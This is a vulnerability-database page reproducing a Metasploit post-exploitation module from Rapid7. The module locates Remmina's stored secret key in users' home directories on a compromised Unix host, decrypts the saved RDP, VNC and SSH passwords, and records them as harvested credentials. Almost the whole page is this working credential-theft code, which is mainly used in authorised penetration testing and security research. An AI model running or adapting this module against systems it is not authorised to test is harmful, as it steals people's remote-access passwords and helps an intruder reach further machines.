Lucene search
K

UNIX Gather Remmina Credentials

🗓️ 17 Nov 2014 17:01:13Reported by Jon Hart <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 39 Views

UNIX Gather Remmina Credentials post module to extract RDP and VNC credentials from Remmina configuration files encrypted with 3DES using a 256-bit key

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Unix

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'UNIX Gather Remmina Credentials',
        'Description' => %q{
          Post module to obtain credentials saved for RDP and VNC from Remmina's configuration files.
          These are encrypted with 3DES using a 256-bit key generated by Remmina which is (by design)
          stored in (relatively) plain text in a file that must be properly protected.
        },
        'License' => MSF_LICENSE,
        'Author' => ['Jon Hart <jon_hart[at]rapid7.com>'],
        'Platform' => %w[bsd linux osx unix],
        'SessionTypes' => %w[shell meterpreter]
      )
    )
  end

  def run
    creds = extract_all_creds
    creds.uniq!
    if creds.empty?
      vprint_status('No Reminna credentials collected')
    else
      vprint_good("Collected #{creds.size} sets of Remmina credentials")
      cred_table = Rex::Text::Table.new(
        'Header' => 'Remmina Credentials',
        'Indent' => 1,
        'Columns' => %w[Host Port Service User Password]
      )

      creds.each do |cred|
        cred_table << cred
        report_credential(cred[3], cred[4])
      end

      print_line(cred_table.to_s)
    end
  end

  def decrypt(secret, data)
    c = OpenSSL::Cipher.new('des3')
    c.decrypt
    key_data = Base64.decode64(secret)
    # the key is the first 24 bytes of the secret
    c.key = key_data[0, 24]
    # the IV is the last 8 bytes of the secret
    c.iv = key_data[24, 8]
    # passwords less than 16 characters are padded with nulls
    c.padding = 0
    p = c.update(Base64.decode64(data))
    p << c.final
    # trim null-padded, < 16 character passwords
    p.gsub(/\x00*$/, '')
  end

  # Extracts all remmina creds found anywhere on the target
  def extract_all_creds
    creds = []
    user_dirs = enum_user_directories
    if user_dirs.empty?
      print_error('No user directories found')
      return creds
    end

    vprint_status("Searching for Remmina creds in #{user_dirs.size} user directories")
    # walk through each user directory
    enum_user_directories.each do |user_dir|
      remmina_dir = ::File.join(user_dir, '.remmina')
      pref_file = ::File.join(remmina_dir, 'remmina.pref')
      next unless file?(pref_file)

      remmina_prefs = get_settings(pref_file)
      next if remmina_prefs.empty?

      if (secret = remmina_prefs['secret'])
        vprint_status("Extracted secret #{secret} from #{pref_file}")
      else
        print_error("No Remmina secret key found in #{pref_file}")
        next
      end

      # look for any  \d+\.remmina files which contain the creds
      cred_files = dir(remmina_dir).map do |entry|
        ::File.join(remmina_dir, entry) if entry =~ /^\d+\.remmina$/
      end
      cred_files.compact!

      if cred_files.empty?
        vprint_status("No Remmina credential files in #{remmina_dir}")
      else
        creds |= extract_creds(secret, cred_files)
      end
    end

    creds
  end

  def extract_creds(secret, files)
    creds = []
    files.each do |file|
      settings = get_settings(file)
      next if settings.empty?

      # get protocol, host, user
      proto = settings['protocol']
      host = settings['server']
      case proto
      when 'RDP'
        port = 3389
        user = settings['username']
      when 'VNC'
        port = 5900
        domain = settings['domain']
        if domain.blank?
          user = settings['username']
        else
          user = domain + '\\' + settings['username']
        end
      when 'SFTP', 'SSH'
        # XXX: in my testing, the box to save SSH passwords was disabled
        # so this may never work
        user = settings['ssh_username']
        port = 22
      else
        print_error("Unsupported protocol: #{proto}")
        next
      end

      # get the password
      encrypted_password = settings['password']
      password = nil
      unless encrypted_password.blank?
        password = decrypt(secret, encrypted_password)
      end

      if host && user && password
        creds << [ host, port, proto.downcase, user, password ]
      else
        missing = []
        missing << 'host' unless host
        missing << 'user' unless user
        missing << 'password' unless password
        vprint_error("No #{missing.join(',')} in #{file}")
      end
    end

    creds
  end

  # Reads key=value pairs from the specified file, returning them as a Hash of key => value
  def get_settings(file)
    settings = {}
    read_file(file).split("\n").each do |line|
      if /^\s*(?<setting>[^#][^=]+)=(?<value>.*)/ =~ line
        settings[setting] = value
      end
    end

    vprint_error("No settings found in #{file}") if settings.empty?
    settings
  end

  def report_credential(user, pass)
    credential_data = {
      workspace_id: myworkspace_id,
      origin_type: :session,
      session_id: session_db_id,
      post_reference_name: refname,
      username: user,
      private_data: pass,
      private_type: :password
    }

    create_credential(credential_data)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
6.7Medium risk
Vulners AI Score6.7
39